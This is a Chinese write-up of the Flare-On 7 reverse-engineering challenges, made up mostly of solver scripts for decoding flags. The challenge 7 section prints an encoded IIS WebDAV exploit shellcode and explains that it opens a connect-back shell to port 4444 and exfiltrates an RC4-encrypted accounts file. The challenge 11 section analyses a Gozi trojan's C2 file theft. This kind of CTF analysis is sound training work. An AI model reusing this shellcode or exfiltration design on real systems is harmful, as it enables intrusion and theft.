逆向心法修炼之道:第七届 FLARE-ON WriteUp

北京时间2020年9月12日上午8:00,广受欢迎的Flare-On挑战赛再次迎来胜利的第七年,针对有抱负的逆向工程师,恶意软件分析师和安全专家来说,可以持续通过参与此全球性活动来磨练自己在软件逆向与安全分析方面的技能。如果有足够的技能和献身精神完成第七次Flare-On挑战,将会在Flare-On网站上获得成就方面的奖项和认可。

今年的比赛共有11种不同格式的挑战,包括Windows,Linux,Python,VBA和.NET。

绿盟科技的格物实验室rwxcode、SkyPlant、wmsuper、B166ER_Young、Satoshi在此次挑战赛中成绩突出,在此将本次参与过程中的挑战思路对外分享,希望能和行业内的同仁一起探讨,共同提高。

NSRC1. 信息侦察 熟悉战场

情报

战术

  1. 点击下载1_-_fidler.7z并使用密码“flare”进行文档解压缩。
  2. 解压缩后发现存在如下目录结构。

从目录结构分析,fidler.exe为python打包后的主程序,其他的为原始代码。

  1. 试运行程序发现存在需要输入密码的提示框。

看来需要先突破这个密码才能走到下一步,如果密码出错则会提示如下:

  1. 查看源代码文件fidler.py,发现密码校验代码如下:

此代码将一个已知的key进行运算生成新编码的key,然后与输入进行对比,可以直接运行此代码并将函数中的key进行打印,即可获得第一步的通过key。

  1. 输入获得的key进入到如下的界面。

根据提示是需要获得100 Billion的金币,点击猫头,每次只能增加1个金币,如果要完成任务,通过手工进行点击完成是相当困难的。

  1. 回到源代码文件fidler.py,查看发现存在decode_flag函数。
  1. 针对解码函数进行分析,需要输入一个参数,这个参数根据分析其值范围为[0,65535],这里有两个思路,一个是通过将所有可能的数据作为输入,进行暴力破解,在其结果中进行过滤,因为参赛的Flag是以flare-on.com结尾的,但是不排除存在重复的可能性。另一种方可以通过继续分析代码,查看传入参数的条件,传入正确的参数即可。
  2. 分析decode_flag函数被调用的地方victory_screen函数。

此函数是一个页面展示函数,仅仅是将输入参数进行了传递并将结果进行展示,继续向上层分析调用函数。

  1. 在game_screen函数中发现了关键的判定条件如下:
  1. 通过分析,target_amount – 2**20 < current_coins < target_amount + 2**20,由于传入的参数为current_coins/ 10**8,则通过分析可以传入 current_coins = target_amount,即(2**36) + (2**35),通过如下代码即可获得Flag。
target_amount = (2**36) + (2**35)
value = int(target_amount / 10**8)

def decode_flag(frob):
    last_value = frob
    encoded_flag = [1135, 1038, 1126, 1028, 1117, 1071, 1094, 1077, 1121, 1087, 1110, 1092, 1072, 1095, 1090, 1027,
                    1127, 1040, 1137, 1030, 1127, 1099, 1062, 1101, 1123, 1027, 1136, 1054]
    decoded_flag = []

    for i in range(len(encoded_flag)):
        c = encoded_flag[i]
        val = (c - ((i%2)*1 + (i%3)*2)) ^ last_value
        decoded_flag.append(val)
        last_value = c

    return ''.join([chr(x) for x in decoded_flag])

flag = decode_flag(value)
print("Flag is : %s" % flag)

NSRC2. 环境判定 跨越暗礁

情报

战术

  1. 点击下载2_-_garbage.7z并使用密码“flare”进行文档解压缩。
  2. 解压缩后发现如下文件:

双击运行garbage.exe,发现运行不了,正如提示所述,该PE文件是损坏的:

  1. 拖入CFF_Explorer 查看PE文件结构,发现该文件加了UPX壳,同时该文件后面缺少了一部分数据:

用十六进制编辑工具打开,查看该文件结尾:

  1. 使用编辑器在文件结尾插入0x400长度的数据:
  1. 保存之后使用upx -d 命令进行脱壳,得到脱壳后的PE文件,这时该文件仍然无法直接运行。
  1. 继续使用CFF_Explorer查看脱壳后的PE文件,发现需要修复两处地方:
  • 导入表的dll名称为空,需要输入正确的dll名称:

原来的:

修改后的:

  • 资源文件配置缺少数据,补上即可:

原来的:

修改后的:

  1. 修复后的PE文件已经可以成功运行,获得Flag。

NSRC3. 坐标定位 情报归位

情报

战术

  1. 点击下载3_-_wednesday并使用密码“flare”进行文档解压缩。
  2. 解压缩后发现存在如下目录。
  1. 运行mydude.exe发现是一个小游戏,通过控制上下键来躲避障碍物:
  1. 简单的玩了几个回合,发现障碍物不是随机的,而是已经固定好的,猜测上下对应1和0,组成的二进制流就是Ascii的Flag。

在ida分析的getPlayerText函数中,印证了先前的猜测,该函数就是把用户输入的结果转为字符串输出。

  1. 很明显,这题无法通过爆破修改成功标志来获取Flag,必须找到正确的二进制流(对应障碍物的位置),由于是固定的,开头是”下下上上”,所以直接猜测开头的数据应该为”00 00 01 01″,在内存中暴力搜索该特征码,就可以获取到正确的数组。
  1. 编写代码,把二进制数组转为字符串即可得到Flag。
import binascii

data='00 00 01 01 00 00 00 01 00 01 01 01 00 01 00 00 00 01 00 01 01 01 01 01 00 01 01 00 01 00 00 01 00 00 01 01 00 01 00 01 00 01 00 01 01 01 01 01 00 01 01 01 00 01 01 01 00 01 00 00 00 01 00 01 00 01 01 00 00 01 00 00 00 01 01 00 01 01 01 00 00 00 01 01 00 00 01 01 00 01 01 01 00 00 01 01 00 01 01 00 00 01 00 00 00 00 01 01 00 01 00 00 00 01 01 01 01 00 00 01 00 01 00 01 01 01 01 01 00 01 01 00 01 01 00 01 00 01 00 01 01 00 00 01 00 01 00 01 01 01 01 01 00 01 00 00 00 01 00 00 00 01 01 01 00 01 00 01 00 01 01 00 00 01 00 00 00 00 01 01 00 00 01 01 00 01 01 01 00 00 01 01 00 01 00 00 00 00 00 00 00 01 01 00 00 01 01 00 00 01 01 00 01 01 00 00 00 01 01 00 00 00 00 01 00 01 01 01 00 00 01 00 00 01 01 00 00 01 00 01 00 00 01 00 01 01 00 01 00 01 01 00 01 01 01 01 00 01 01 00 01 01 01 00 00 00 01 00 01 01 01 00 00 01 01 00 00 00 01 01 00 01 01 00 01 01 01 01 00 01 01 00 01 01 00 01'

flag=''
data_arr=data.split(' ')
dlen=len(data_arr)
i=0

while i<dlen:
	v=0
	for pos in range(8):
		v=v*2+int(data_arr[i+pos])
	flag+=chr(v)

	i+=8
print flag

NSRC4. 伪装自己 定位对手

情报

战术

  1. 点击下载4_-_report并使用密码“flare”进行文档解压缩。
  2. 解压缩后得到如下文件,report.xls里面应该有宏脚本:
  1. 直接运行弹出错误框,猜测可能是版本问题。
  1. 重新将宏复制到另一个Excel文件,并按如下建议修改代码,即可让宏成功运行:
  1. 脚本中有通过检测进程和是否联网的反沙箱操作,注释该处即可绕过检测。
  1. 最后该宏会释放出一个mp3,但是分析一会发现不像是音频隐写。
  1. 打印出他所有字符串,如下所示,可以看到有FLARE-ON,\Microsoft\v.png,说明最后释放的应该是一个png文件,而不是mp3。
  1. 分析释放出来的mp3文件的解密算法,发现是一个固定的循环xor密钥去解密数据,但是还有一部分加密数据没用到,所以猜测这部分加密数据就可解密出png文件,如果xor密钥正确的话,就解出了一个png文件。
  1. 首先把这部分没用到的数据前8个字节和png文件头的魔数:89504E470D0A1A0A0000000D49484452 进行异或,就可以得到key:NO-ERALFNO-ERALF
  1. 再使用这个key进行循环异或解密整个文件,解出来是一个png图片:
def xor(data,key):
    data=bytearray(data)
    key=bytearray(key)
    key_len=len(key)
    ret=''
    for i in range(len(data)):
        ret+=chr(data[i]^key[i%key_len])
    return ret

key='NO-ERALFNO-ERALF'
with open('stomp.bin','rb') as fd:
    data=fd.read()
with open('v.png','wb+') as fd:
    fd.write(xor(data,key))

解出来的图片中包含Flag。

NSRC5. 多维分析 定位意图

情报

战术

  1. 点击下载5_-_TKApp并使用密码“flare”进行文档解压缩。
  2. 解压缩后可以看到一个tpk文件:

通过简单搜索,发现这是一款手表应用:

  1. 直接用解压缩软件解包tpk文件,发现了一个关键的dll文件:
  1. 由于该dll是c#开发的,所以使用dnspy直接静态分析该dll,快速定位疑似解密的关键点:

由代码可知,对App.Password + App.Note + App.Step + App.Desc得到的字符串进行哈希要等于一个硬编码的值才可以进行下去,所以接下来就是找4个变量的值。

  1. 寻找Password,找到密码校验函数。

跟踪decode函数,发现是一个简单的异或算法:

用python重新编写,解得password为:mullethat

enc_passwd=[62,
			38,
			63,
			63,
			54,
			39,
			59,
			50,
			39
]
passwd=''
for i in enc_passwd:
	passwd+=chr(i^83)
print passwd
  1. 寻找Note值,通过分析可知,Note值应该为:keep steaks for dinner。
  1. 寻找Step的值,通过代码可知,该值应该在配置文件中。

打开配置文件,得到Step正确的值为:magic。

  1. 寻找Desc的值,通过代码可以知道该值应该在图片的描述信息中。

打开图片,查看其描述信息可得Desc值为:water。

  1. 找到所有的值,拼接字符串求hash,看得到的值是否正确:
Password='mullethat'
Step='magic'
Note='keep steaks for dinner'
Desc='water'

data=Password+Note+Step+Desc
#正确值为
# 32944ce96ec7e44872e34e8a5dbdbd939f4642df7b892c4965eb8110b58b6838

print SHA256.new(data).hexdigest()
  1. 验证正确后,找到解密Flag的函数,如下,经过分析可知,这是简单的AES解密。
  1. 编写一个python脚本,仿照c#逻辑进行解密:
import binascii
from  Crypto.Hash import SHA256
import base64
from  Crypto.Cipher import AES
a=[
50,
148,
76,
233,
110,
199,
228,
72,
114,
227,
78,
138,
93,
189,
189,
147,
159,
70,
66,
223,
123,
137,
44,
73,
101,
235,
129,
16,
181,
139,
104,
56
]
hash=''
for i in a:
	hash+=('%02x'%i)
print hash
enc_passwd=[62,
			38,
			63,
			63,
			54,
			39,
			59,
			50,
			39
]
passwd=''
for i in enc_passwd:
	passwd+=chr(i^83)

print passwd

Password='mullethat'
Step='magic'
Note='keep steaks for dinner'
Desc='water'

data=Password+Note+Step+Desc

print SHA256.new(data).hexdigest()


with open('Runtime.dll','rb') as fd:
	data=fd.read()
iv="NoSaltOfTheEarth"
key=''


kl=[Desc[2],
Password[6],
Password[4],
Note[4],
Note[0],
Note[17],
Note[18],
Note[16],
Note[11],
Note[13],
Note[12],
Note[15],
Step[4],
Password[6],
Desc[1],
Password[2],
Password[2],
Password[4],
Note[18],
Step[2],
Password[4],
Note[5],
Note[4],
Desc[0],
Desc[3],
Note[15],
Note[8],
Desc[4],
Desc[3],
Note[4],
Step[2],
Note[13],
Note[18],
Note[18],
Note[8],
Note[4],
Password[0],
Password[7],
Note[0],
Password[4],
Note[11],
Password[6],
Password[4],
Desc[4],
Desc[3]
]

for i in kl:
	key+=i
print key
print len(data)

aeskey=SHA256.new(key).digest()
print aeskey


cipher=AES.new(aeskey,AES.MODE_CBC,iv)
with open('img.bin','wb+') as fd:
	fd.write(base64.b64decode(cipher.decrypt(data)))
  1. 解密出来一个图片文件,文件里面包含Flag。

NSRC6. 精准识别 防止误伤

情报

战术

  1. 点击下载6_-_codeit并使用密码“flare”进行文档解压缩。
  2. 解压缩后得到如下文件:

运行codeit.exe发现是一个将字符串编码成二维码的程序:

  1. 通过字符串的线索,可以知道该软件是使用AutoIt脚本语言编写的,通过下载反编译工具Exe2Aut进行反编译。

得到如下文件:

  1. 下载AutoIt开发工具编辑调试运行该脚本,从代码可以看出,该脚本的字符串被混淆过了。
  1. 由于该混淆都是将字符串或者常量替换成某个变量值,找到规律后编写脚本替换代码中的变量,即可达到反混淆的目的:

反混淆的效果如下,这样看起来就清晰很多了。

  1. 快速定位到关键点,代码的含义就是计算机名正确的话,无论输入什么都会替换成一个解密后的字符串。
  1. 为了找到正确的计算机名称,找到处理计算名称的地方,发现应该是图片隐写,取最低有效位:
Func aregtfdcyni(ByRef $computername)
    Local $flqvizhezm = aregfmwbsqd(14)
    Local $fd = arerujpvsfp($flqvizhezm)
    If $fd <> -1 Then
        Local $filesize = GetFileSize($fd)
        If $filesize <> -1 AND DllStructGetSize($computername) < $filesize - 54 Then
            Local $flnfufvect = DllStructCreate("struct;byte[" & $filesize & "];endstruct")
            Local $filedata = ReadFile($fd, $flnfufvect)
            If $filedata <> -1 Then
                Local $data_struct = DllStructCreate("struct;byte[54];byte[" & $filesize - 54 & "];endstruct", DllStructGetPtr($flnfufvect))
                Local $index = 1
                Local $data = ""
                For $fltergxskh = 1 To DllStructGetSize($computername)
                    Local $cc = Number(DllStructGetData($computername, 1, $fltergxskh))
                    For $kk = 6 To 0 Step -1
                        $cc += BitShift(BitAND(Number(DllStructGetData($data_struct, 2, $index)), 1), -1 * $kk)
                        $index += 1
                    Next
                    $data &= Chr(BitShift($cc, 1) + BitShift(BitAND($cc, 1), -7))
                Next
                DllStructSetData($computername, 1, $data)
            EndIf
        EndIf
        CloseHandle($fd)
    EndIf
    DeleteFileA($flqvizhezm)
EndFunc
  1. 插入如下代码,打印出正确的计算机名称:au01tfan1999。
  1. 替换正确计算机名称,点击生成二维码,即可得到Flag:

得到的二维码:

NSRC7. 精挑细选 一丝不苟

情报

战术

  1. 下载文档并使用“flare”密码解压缩获得re_crowd.pcapng文件。
  2. 分析re_crowd.pcapng数据包,发现攻击者(192.168.68.21)利用IIS6.0 WebDAV漏洞(CVE-2017-7269)在攻击服务器(192.168.68.1)。

下图是数据包文件中记录的攻击成功的会话。

  1. 攻击者使用的shellcode在该漏洞利用过程中经过Alpha2-encoder,对其进行解码,获取shellcode。
import string
import base64

encoded_bytes = b"VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA"

l=len(encoded_bytes)/2

decoded_bytes = str()

for i in range(l):
    block=encoded_bytes[i*2:i*2+2]
    decoded_byte_low = ord(block[1]) & 0x0F
    decoded_byte_high = ((ord(block[1]) >> 4) + (ord(block[0]) & 0x0F)) & 0x0F
    decoded_byte=chr(decoded_byte_low + (decoded_byte_high <<4))
    decoded_bytes+=decoded_byte

printable_decoded_bytes = ''.join(c for c in decoded_bytes if c in string.printable)

b = bytearray(decoded_bytes)

print ''.join('{:02x}'.format(x) for x in b).upper()

解码后的Shellcode。

  1. 分析第一段shellcode的主要功能主动连接攻击者服务器(192.168.68.21)的TCP端口4444,并且接受攻击者发送的数据之后对其进行解密并执行。
  2. 第二段shellcode的主要功能是读取C:\accounts.txt文件内容,使用rc4算法密钥 ”intrepidmango” 对文件内容进行加密后,发送给攻击者。

对应的加密后的密文为:

解密获取Flag:

roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat
moss:Pot-Pocket-Pigeon-Hunt-8:narwhal
jen:Straighten-Effective-Gift-Pity-1:bunny
richmond:Inventor-Hut-Autumn-Tray-6:bird
denholm:123:dog'

NSRC8. 主动渗透 关键定位

情报

战术

  1. 下载文件并使用“flare”密码进行解压缩获得ttt2.exe。
  2. 经过运行分析,玩家控制“O”,为了胜利,需要实现3个“O” 连成一条线,在目前这种情况下“O”是无法通过正常手段获胜的。
  1. 对程序代码分析后发现其通过COM调用WSL系统,处理游戏逻辑的核心代码运行在WSL系统中。并且主程序与游戏数据处理代码通过文件socket进行通信。
  1. 使用gdb附加调试WSL系统中运行的程序685A.tmp,直接给“recv”函数下断点,当断点触发时,可以看出棋盘布局的数据位于“0x7f53818020a0”。
  1. 通过直接修改棋盘内存数据“作弊”来让玩家“O”胜利,同时获取 flag。

NSRC9. 发现漏洞 主动出击

情报

战术

  1. 下载并使用“flare”密码进行解压缩获得crackinstaller.exe文件。
  2. crackinstaller.exe主程序通过安装并启动服务cfs加载驱动程序cfs.dll(capcom.sys),利用该驱动程序的漏洞在内核层运行关键代码。使用windbg调试windows驱动程序,之后可以通过直接给DeviceIoControl下断点,定位到如下代码,通过修改InBuffer数据的第一个字节为0xcc后,运行程序,windbg会中断定位到InBuffer的0xcc处。
  1. 分析驱动程序定位关键代码,如下所示程序需要进入if分支,由于条件不成立,通过强制修改跳转到解密password的代码,解密出的内容为“H@n $h0t FiRst!”。
  1. 下面需要定位Flag密文位置和分析加密算法,通过对应用层后续代码分析,定位到关键代码。密文的加密算法为rc4。

Flag对应的解密算法为rc4,密文内容为:

  1. 直接使用在驱动层获取到的密码“H@n $h0t FiRst!”解密密文,获取最终的Flag。

NSRC10. 多重迷雾 虚实结合

情报

战术

  1. 下载并使用“flare”密码进行解压缩获得break文件。
  2. 经过分析发现break为elf文件,执行后需要输入正确密码:既此题的flag。
  1. 查看程序入口_start -> __libc_start_main 启动过程,发现进入main之前会执行.init_array节的如下函数。
  1. 此函数会fork一个子进程,在子进程中又会fork另一个子进程。
  1. fork出来的子进程都会通过dlopen动态加载ptrace函数,attach到父进程。
  1. 最终形成如下父子孙三进程结构。
  1. 静态发现会存在如下陷阱。
  • SYSCALL HOOK

分析子进程主逻辑可知主进程的syscall已经被子进程PTRACE_SYSEMU接管。

PTRACE_SYSEMU典型使用例子。

for(;;) {
    ptrace(PTRACE_SYSEMU, pid, 0, 0);
    waitpid(pid, 0, 0);
    struct user_regs_struct regs;
    ptrace(PTRACE_GETREGS, pid, 0, &regs);
switch (regs.orig_rax) {
...
   }
} 

同时原始系统调用号所在的orig_eax被子进程通过公式“ 0x1337CAFE * (原始系统调用号^0xDEADBEEF)”算出新标号,然后做对应的处理。反向结算得到原始系统调用号,然后查对应linux x86系统调用表即可确定真正的系统调用名称。

  • 改写.text段制造SIGILL异常。

下面回到主进程main函数:

发现其逻辑异常简单,甚至有个显而易见的密码字符串比较函数,然而输入此密码会提示密码错误。

观察子进程逻辑就会发现,其通过ptrace朝父进程虚假的密码比较函数地址写入0xB0F,从而使主进程执行比较函数的时候就会触发SIGILL异常信号。

进程handle SIGILL信号,修改父进程eip跳转到真正的密码比较执行流程。

  • CALL0制造SIGSEGV异常。

程序通过故意call 0触发段错误,当前进程的子进程通过ptrace handle后从中取出返回地址和参数,然后再做对应逻辑处理。

孙进程对子进程的段错误handle,注意这里只是用了在子进程syscall hook中相同的数值,其实和syscall并没有任何关系。

  1. 由于此题有很多的加解密操作,为了省事考虑尝试使用qiling/unicorn模拟框架来模拟执行,Qiling 简单地说就是一个基于unicorn cpu默契,在其之上增加了二进制文件加载、地址分配、syscall模拟等功能。项目地址如下:

https://github.com/qilingframework/qiling

由于qiling的不完善,对于此题来说依然有很多问题,导致并不能完整模拟。

  • Syscall实现不全,比如此题大量使用的ptrace调用在qiling是直接返回0,并不真正的做操作。
  • 对call 0异常会抛出unicorn的mem fetch invalid异常,无法实现此题中的异常接管处理。
  • 需要模拟父进程进入syscall hook后转入子进程处理逻辑。
  • 将父子孙三进程结构归并到一个模拟进程单元处理。

下面通过一系列模拟来处理当前模拟中存在的问题:

  • 模拟call 0异常处理:

增加hook call 0导致的mem fetch invalid事件, 在callback函数中转向我们自己的call_zero异常处理函数。注意,这里就算增加event hook callback。处理完以后依然会抛出异常。

通过捕获UcError后继续执行模拟来解决这个问题。

Call_zero函数中由于其真正有用的部分核心逻辑简单,这里就不跳到真正的地址模拟执行,而直接在python里实现。这里处理掉了子孙进程的call 0异常代码。

 子进程对父进程 call 0段错误的跳转逻辑:

  • 模拟ptrace调用

由于程序使用的自定义函数dlopen动态加载ptrace,这里直接hook地址:

  ql.hook_address(ptrace_hook, 0x804BAE6)

将跨进程的内存拷贝全部转向本进程内存读写,这里偷懒只模拟内存读写操作。寄存器读写后面单独处理就行了。

  • 模拟子进程对父进程的syscall hook。

模拟子进程的堆栈,后面会用到这些偏移。进入syscall hook之前模拟ptrace GETREG保存父进程寄存器到子进程栈上。

child_proc_regs = None
def load_shadow_stack(ql:Qiling):
    global child_proc_regs
    child_proc_regs = PtRegs(ql)

    ql.stack_push(ql.reg.ebp)
    ql.reg.ebp = ql.reg.esp
    ql.stack_push(ql.reg.edi)
    ql.stack_push(ql.reg.esi)
    ql.stack_push(ql.reg.ebx)
    ql.reg.esp = ql.reg.esp - 0x404c    

    ql.mem.write(ql.reg.ebp - 0x28, ql.pack32(0))
    ql.mem.write(ql.reg.ebp - 0x20, ql.pack32(0xFFFFFFFF))
    child_proc_regs.write(ql, ql.reg.ebp - 0xcc)

退出syscall的时候恢复:

def reset_shadow_stack(ql:Qiling):
    child_proc_regs.read(ql, ql.reg.ebp - 0xcc)

    ql.reg.esp = ql.reg.ebp - 12
    ql.reg.ebx = ql.stack_pop()
    ql.reg.esi = ql.stack_pop()
    ql.reg.edi = ql.stack_pop()
    ql.reg.ebp = ql.stack_pop()

    child_proc_regs.set_reg(ql)

只需要hook syscall的回调函数中跳转到子进程对应的case就可以模拟子进程对父进程syscall hook了。

 ql.set_syscall("chmod", my_syscall_chmod)
 ql.set_syscall(0x98, my_syscall_mlockall)
 ql.set_syscall(0xd9, my_syscall_pivot_root)
 ql.set_syscall("uname", my_syscall_uname)
 ql.set_syscall("truncate", my_syscall_truncate)

有了这个基础的模拟框架,就可以对主密码验证逻辑做模拟了。

  1. 进入SIGILL跳转进入真正密码验证主逻辑,模拟框架加载elf完成后,进入入口点直接跳过来模拟执行,Flag的第一部分是16个字节。注意execve和nice都会被劫持到子进程syscall hook逻辑。
  1. hook 26行之后的地址,直接打印unk_81A50EC即可得到第一部分Flag。
  2. 继续深入,里面有call 0操作和一堆syscall劫持,简单分析下算法其实并不复杂。不过依然不打算完整还原算法,只通过模拟执行观察关键部分。这里nice(0xA4)作为key的种子。虽然程序告诉你是浪费时间,但其实这个字符串是正确的。

这里循环解码4w字节的.text空间,Hook sub_804C369返回,打印解码file地址会发现里面是蜜蜂总动员的台词。

  1. 观察解码输出,很容易锁定伪chmod syscall为算法关键部分。其chmod syscall可以概括为:
def simple_decrypt(arg1, key1, key2, key3):
    sum = (arg1 + key1) & 0xffffffff
    sum = (sum >> (key2 & 0x1F)) | (sum << (-(key2 & 0x1F) & 0x1F)) & 0xffffffff
    return (sum ^ key3) & 0xffffffff
  1. chmod会进入call 0处理异常。打印参数2即为每轮的密码。得到如下码表,然后构建一个反向表。
elif sysnum == 0x6B4E102C:
        ql.reg.eax = (arg1 + arg2) & 0xffffffff
        #ql.nprint("!xxtea 11111 retaddr: 0x%X arg1:0x%X, arg2:0x%X, retval:0x%X" % (ret, arg1, arg2, ql.reg.eax))
    elif sysnum == 0x5816452E:
        ql.reg.eax = ((arg1 >> (arg2 & 0x1F)) | (arg1 << (-(arg2 & 0x1F) & 0x1F))) & 0xffffffff
        # ql.nprint("!xxtea 222222 retaddr: 0x%X arg1:0x%X, arg2:0x%X, retval:0x%X" % (ret, arg1, arg2, ql.reg.eax))
    elif sysnum == 0x44DE7A30:
        ql.reg.eax = (arg1 ^ arg2) & 0xffffffff
        # ql.nprint("!xxtea 3333333 retaddr: 0x%X arg1:0x%X, arg2:0x%X, retval:0x%X" % (ret, arg1, arg2, ql.reg.eax))

!xxtea 11111 retaddr: 0x804C1C9 arg1:0xF4DC92AA, arg2:0x4B695809, retval:0x4045EAB3

!xxtea 222222 retaddr: 0x804C1EC arg1:0x4045EAB3, arg2:0xF, retval:0xD566808B

!xxtea 3333333 retaddr: 0x804C20C arg1:0xD566808B, arg2:0x674A1DEA, retval:0xB22C9D61

!xxtea 11111 retaddr: 0x804C1C9 arg1:0xA246A2B7, arg2:0xE35B9B24, retval:0x85A23DDB

!xxtea 222222 retaddr: 0x804C1EC arg1:0x85A23DDB, arg2:0x11, retval:0x1EEDC2D1

!xxtea 3333333 retaddr: 0x804C20C arg1:0x1EEDC2D1, arg2:0xAD92774C, retval:0xB37FB59D

。。。。。。

KEYS_TABLES = {
    0x78F7B625: [0x4B695809, 0xF, 0x674A1DEA],
    0x7C31020B: [0xE35B9B24, 0x11, 0xAD92774C],
    0xF8620416: [0x71ADCD92, 0x11, 0x56C93BA6],
    0x7D1A666D: [0x38D6E6C9, 0x11, 0x2B649DD3],
    0xFA34CCDA: [0x5A844444, 0xC, 0x8B853750],
    0x79B7F7F5: [0x2D422222, 0xC, 0x45C29BA8],
    0xF36FEFEA: [0x16A11111, 0xC, 0x22E14DD4],
    0xE6DFDFD4: [0xCDBFBFA8, 0x15, 0x8F47DF53],
    0xCDBFBFA8: [0xE6DFDFD4, 0x15, 0x47A3EFA9],
    0x16A11111: [0xF36FEFEA, 0x15, 0x23D1F7D4],
    0x2D422222: [0x79B7F7F5, 0x15, 0x11E8FBEA],
    0x5A844444: [0xFA34CCDA, 0xF, 0x96C3044C],
    0x38D6E6C9: [0x7D1A666D, 0xF, 0x4B618226],
    0x71ADCD92: [0xF8620416, 0xF, 0xBB87B8AA],
    0xE35B9B24: [0x7C31020B, 0xF, 0x5DC3DC55],
    0x4B695809: [0x78F7B625, 0x12, 0xB0D69793],}
  1. 修改call zero逻辑,根据参数2反查码表即是反向解码操作,继续跟进,尾部会进入伪truncate syscall,其会比较0x81A5100的32个字节。
  1. 直接将0x81A5100地址作为参数传递,跳转这个函数模拟执行,同时修改我们的call_zero异常处理函数将码表反转。
 ql.stack_push(0x81A5100)
    ql.stack_push(0x0)
    ql.reg.eip = 0x8048F05 #jmp to xxtea_decode
  1. 进入truncate打印file 即可得到第二部分Flag。
  2. 进入最后的truncate syscall。这个v44栈变量被初始化为0,看起来会进入孙进程的段错误异常处理逻辑。

     ......

  1. 以为苦难要结束了,兴冲冲的输入Flag:w3lc0mE_t0_Th3_l4nD_0f_De4th_4nd_d3strUct1oN_4nd@no-flare.com 痛苦的发现依然不对,还得继续努力。
  2. 通过模拟执行框架揭示了这个秘密,v44的调用进入了另一个地址,而没有进入 认为的call_zero处理,显然这里又是一个陷阱。
  3. 将file地址解码后的内容patch回原二进制,蜜蜂总动员剧本后面会发现出现新的代码段。
  1. 回到truncate syscall,分析发现v18栈空间分配空间是16000字节,循环拷贝的时候发生了栈溢出,计算偏移后刚好覆盖了栈变量v44的值。从patch后的二进制找蜜蜂总动员剧本找第一个0字节,地址是0x8050568。
  1. 可以看到存储的正是真正的第三部分比较函数入口地址。
  1. Flag验证主逻辑如下:
  1. 分析后得出32字节大数的混合运算。得出如下方程:

0xd1cc3447d5a9e1e6adae92faaea8770db1fab16b1568ea13c3715f2aeba9d84f  * res_div + 0xd036c5d4e7eda23afceffbad4e087a48762840ebb18e3d51e4146f48c04697eb = 0xc10357c7a53fa2f1ef4a5bf03a2d156039e7a57143000c8d8f45985aea41dd31 * key

  1. 根据语法盲猜以_开头和@flare-on.com总0x18个字节。

0x6d6f632e6e6f2d6572616c6640303030303030303030305f < key < 0x6d6f632e6e6f2d6572616c66407a7a7a7a7a7a7a7a7a7a5f

最终计算出第三部分的Flag。

  1. 将三部分Flag进行拼接即可获得最终的Flag。

NSRC11. 机动闪电 完美收官

情报

战术

  1. 下载并使用“flare”密码进行解压缩获得NTUSER.DAT文件。
  2. 分析NTUSER.DAT在启动项中发现如图所示启动脚本,其中,通过powershell加载启动iex (gp ‘HKCU:\SOFTWARE\Timerpro’).D对应的脚本。
  1. 通过对该段powershell代码进行分析发现其加载并执行了一大段shellcode代码。
  1. 通过调试分析shellcode代码发现:恶意样本的恶意功能是否能够运行依赖于用户的SID,即通过获取用户SID并对其进行加密计算得出一段hash作为后续解密的密钥。基于这点可以表明该恶意样本是针对特定用户定点投放的APT恶意样本。

S-1-5-21-3823548243-3100178540-2044283163-1006

在调试过程中修改本地获取到的SID为NTUSER.DAT中对应用户的SID,计算出正确的解密密钥为:FA 7B 30 FB 4E 7B 70 55 72 EC 8E 31 6A F4 A6 54。

  1. 恶意程序框架启动起来之后,通过解密加载功能插件。
  1. 通过调试分析插件的加载过程,并且其中相关依赖DLL的名称,发现该恶意软件为定制修改过的Trojan.Gozi.64

下面是Trojan.Gozi.64样本的功能模块对应的说明。

  1. 恶意样本的相关功能模块加载成功后,会与C&C Server进行网络通信,收集相关信息,对数据进行加密后,通过HTTPS POST请求上传到C&C Server并且接收攻击者服务器发送的C&C指令。

通过进一步的调试分析,如图所示的注册表键值项中保存着攻击者发送的原始攻击指令。

对其进行解密后内容为:“FILE   flag.txt”。即,窃取本地系统中文件名为flag.txt的文件。

  1. 恶意样本在接收到窃取文件flag.txt指令后,会搜索本地文件系统,找到对应文件名的文件,对其先进行zip压缩,之后使用serpent算法对其进行加密,再使用xor_encrpyt对数据进行再加密。

可以理解为如下伪代码:

Xor_Encrpyt(Serpent_Encrpyt(Zip_Compress(flag.txt)))

Serpent对应密钥为C&C通信过程中使用的加密密钥“GSPyrv3C79ZbR0k1”。

Xor_Encrypt密钥为FA 7B 30 FB 4E 7B 70 55 72 EC 8E 31 6A F4 A6 54的头4个字节。

  1. 通过分析发现DiMap值中保存着对应加密后的密文信息:

对其进行Xor_Decrypt和Serpent_Decrypt解密后获取到flag.zip:

打开flag.txt即可获得最终的Flag。

结语

